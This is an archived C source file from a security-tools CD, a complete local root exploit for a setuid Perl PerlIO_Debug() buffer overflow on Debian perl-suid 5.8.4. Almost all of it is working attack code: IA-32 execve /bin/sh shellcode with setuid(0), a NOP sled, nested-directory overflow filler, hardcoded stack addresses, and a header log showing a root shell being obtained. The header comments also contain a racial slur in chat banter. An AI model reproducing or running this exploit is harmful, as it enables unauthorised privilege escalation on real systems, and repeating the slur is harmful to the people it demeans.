home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / interpreter / ex_perl2b.c < prev   
C/C++ Source or Header  |  2005-03-04  |  5KB  |  145 lines

  1. /*
  2.  * Copyright Kevin Finisterre
  3.  *
  4.  * Setuid perl PerlIO_Debug() overflow
  5.  *
  6.  * Tested on Debian 3.1 perl-suid 5.8.4-5 
  7.  *
  8.  * (11:07:20) *corezion:* who is tha man with tha masta plan?
  9.  * (11:07:36) *corezion:* a nigga with a buffer overrun
  10.  * (11:07:39) *corezion:* heh
  11.  * (of course that is to the tune of http://www.azlyrics.com/lyrics/drdre/niggawittagun.html)
  12.  *
  13.  * cc -o ex_perl2 ex_perl2.c -std=c99
  14.  * 
  15.  * kfinisterre@jdam:~$ ./ex_perl2
  16.  * Dirlen: 1052
  17.  * Charlie Murphy!!!@#@
  18.  * sh-2.05b# id
  19.  * uid=1000(kfinisterre) gid=1000(kfinisterre) euid=0(root) 
  20.  * 
  21.  */
  22.  
  23. #include <stdlib.h>
  24. #include <stdio.h>
  25. #include <strings.h>
  26. #include <string.h>
  27. #include <sys/stat.h>
  28. #include <sys/types.h>
  29. #include <unistd.h>
  30.  
  31. int main(int *argc, char **argv)
  32. {
  33.     int len = 23;
  34.      int count = 5;
  35.     char malpath[10000];
  36.     char tmp[256];
  37.     char *filler;
  38.     char *ptr;
  39.  
  40.     unsigned char code[] = 
  41.     /*
  42.       0xff-less execve() /bin/sh by anathema <anathema@hack.co.za>
  43.       Linux/IA32 0xff-less execve() shellcode.  
  44.      */
  45.         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  46.         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  47.         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  48.         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  49.  
  50.         // setuid(0) - fix for redhat based machines
  51.     "\x31\xdb"                      // xorl         %ebx,%ebx
  52.     "\x8d\x43\x17"                  // leal         0x17(%ebx),%eax
  53.     "\xcd\x80"                      // int          $0x80
  54.  
  55.     "\x89\xe6"                          /* movl %esp, %esi          */
  56.     "\x83\xc6\x30"                      /* addl $0x30, %esi         */
  57.     "\xb8\x2e\x62\x69\x6e"              /* movl $0x6e69622e, %eax   */
  58.     "\x40"                              /* incl %eax                */
  59.     "\x89\x06"                          /* movl %eax, (%esi)        */
  60.     "\xb8\x2e\x73\x68\x21"              /* movl $0x2168732e, %eax   */
  61.     "\x40"                              /* incl %eax                */
  62.     "\x89\x46\x04"                      /* movl %eax, 0x04(%esi)    */
  63.     "\x29\xc0"                          /* subl %eax, %eax          */
  64.     "\x88\x46\x07"                      /* movb %al, 0x07(%esi)     */
  65.     "\x89\x76\x08"                      /* movl %esi, 0x08(%esi)    */
  66.     "\x89\x46\x0c"                      /* movl %eax, 0x0c(%esi)    */
  67.     "\xb0\x0b"                          /* movb $0x0b, %al          */
  68.     "\x87\xf3"                          /* xchgl %esi, %ebx         */
  69.     "\x8d\x4b\x08"                      /* leal 0x08(%ebx), %ecx    */
  70.     "\x8d\x53\x0c"                      /* leal 0x0c(%ebx), %edx    */
  71.     "\xcd\x80"                          /* int $0x80                */;
  72.  
  73.  
  74.     chdir("/tmp/");
  75.  
  76.     // do one less char than usual for RedHat 
  77.     filler = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/";
  78.     
  79.     for (int x=0; x<4; x=x+1)
  80.     {
  81.         mkdir(filler, 0777);
  82.         chdir(filler);
  83.         // do one less char than usual for RedHat 
  84.         count = count + 255;        
  85.     }
  86.  
  87.         memset(tmp,0x41,len);  
  88.     count = count + len;
  89.  
  90.         ptr = tmp+len;
  91.         ptr = putLong (ptr, 0xbffffb6a); // frame 11 ebp
  92.         ptr = putLong (ptr, 0xbffffb6a); 
  93.         ptr = putLong (ptr, 0xbffffb6a);
  94.  
  95.     strcat(tmp, "/");
  96.     mkdir(tmp, 0777);
  97.     chdir(tmp);
  98.  
  99.     printf ("Dirlen: %d\n", count); 
  100.  
  101.     FILE *perlsploit;
  102.     char perldummyfile[] = {
  103.                 "#!/usr/bin/sperl5.8.4\n"
  104.                 "# \n"
  105.                 "# Be proud that perl(1) may proclaim: \n"
  106.                 "#   Setuid Perl scripts are safer than C programs ...\n"
  107.                 "# Do not abandon (deprecate) suidperl. Do not advocate C wrappers. \n"
  108.         };
  109.  
  110.         if(!(perlsploit = fopen("take_me.pl","w+"))) {
  111.                 printf("error opening file\n");
  112.                 exit(1);
  113.         }
  114.         fwrite(perldummyfile,sizeof(perldummyfile)-1,1,perlsploit);
  115.         fclose(perlsploit);
  116.  
  117.     getcwd(malpath, 10000);
  118.     strcat(malpath, "/");
  119.     strcat(malpath, "take_me.pl");
  120.     printf("Charlie Murphy!!!@#@\n");
  121.  
  122.     chmod(malpath,0755);
  123.         setenv("PERLIO_DEBUG", "/tmp/ninjitsu", 1);
  124.     setenv("PERL5LIB", code, 1);
  125.     execv(malpath,(char *) NULL);
  126.  
  127. }
  128. /*
  129.  * put a address in mem, for little-endian
  130.  *
  131.  */
  132. char*
  133. putLong (char* ptr, long value)
  134. {
  135.     *ptr++ = (char) (value >> 0) & 0xff;
  136.     *ptr++ = (char) (value >> 8) & 0xff;
  137.     *ptr++ = (char) (value >> 16) & 0xff;
  138.     *ptr++ = (char) (value >> 24) & 0xff;
  139.  
  140.     return ptr;
  141. }
  142.  
  143.  
  144.  
  145.